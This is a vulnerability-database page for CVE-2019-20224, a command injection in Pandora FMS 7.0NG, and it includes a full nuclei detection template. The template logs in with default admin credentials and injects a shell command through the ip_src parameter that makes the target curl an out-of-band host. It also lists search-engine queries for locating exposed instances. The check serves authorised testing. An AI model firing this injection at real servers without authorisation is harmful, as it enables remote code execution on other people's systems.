HexBrain

Browse / CVEs / CVE-2019-20224

CVE-2019-20224· artica / pandora fms· CWE-78

Pandora FMS 7.0NG - Remote Command Injection

highseverity
8.8CVSS score
49.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Pandora FMS 7.0NG allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ip_src parameter in an index.php?operation/netflow/nf_live_view request.

Impact

Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system.

Fix

This issue has been fixed in Pandora FMS 7.0 NG 742.

How to confirm it

Send: POST /pandora_console/index.php?login=1 ; POST /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0
Positive when: contains in interactsh_protocol "http" AND status 200

Run it with nuclei: nuclei -id CVE-2019-20224 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-20224

info:
  name: Pandora FMS 7.0NG - Remote Command Injection
  author: ritikchaddha
  severity: high
  description: |
    Pandora FMS 7.0NG allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ip_src parameter in an index.php?operation/netflow/nf_live_view request.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system.
  remediation: This issue has been fixed in Pandora FMS 7.0 NG 742.
  reference:
    - https://shells.systems/pandorafms-v7-0ng-authenticated-remote-code-execution-cve-2019-20224/
    - https://gist.github.com/mhaskar/2153d66a0928492d76b799ba13b9e3f9
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20224
    - https://drive.google.com/file/d/1DkWR5MylzeNr20jmHXTaAIJmf3YN-lnO/view
    - https://pandorafms.com/downloads/solved-pandorafms-742.mp4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-20224
    cwe-id: CWE-78
    epss-score: 0.4968
    epss-percentile: 0.98904
    cpe: cpe:2.3:a:artica:pandora_fms:7.0_ng:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: artica
    product: pandora_fms
    shodan-query: http.title:"pandora fms"
    fofa-query: title="pandora fms"
    google-query: intitle:"pandora fms"
  tags: cve,cve2019,pandorafms,rce,authenticated,oast,artica,vuln

http:
  - raw:
      - |
        POST /pandora_console/index.php?login=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nick=admin&pass=admin&login_button=Login
      - |
        POST /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{interactsh-url}}+%23&draw_button=Draw

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        name: "http"
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from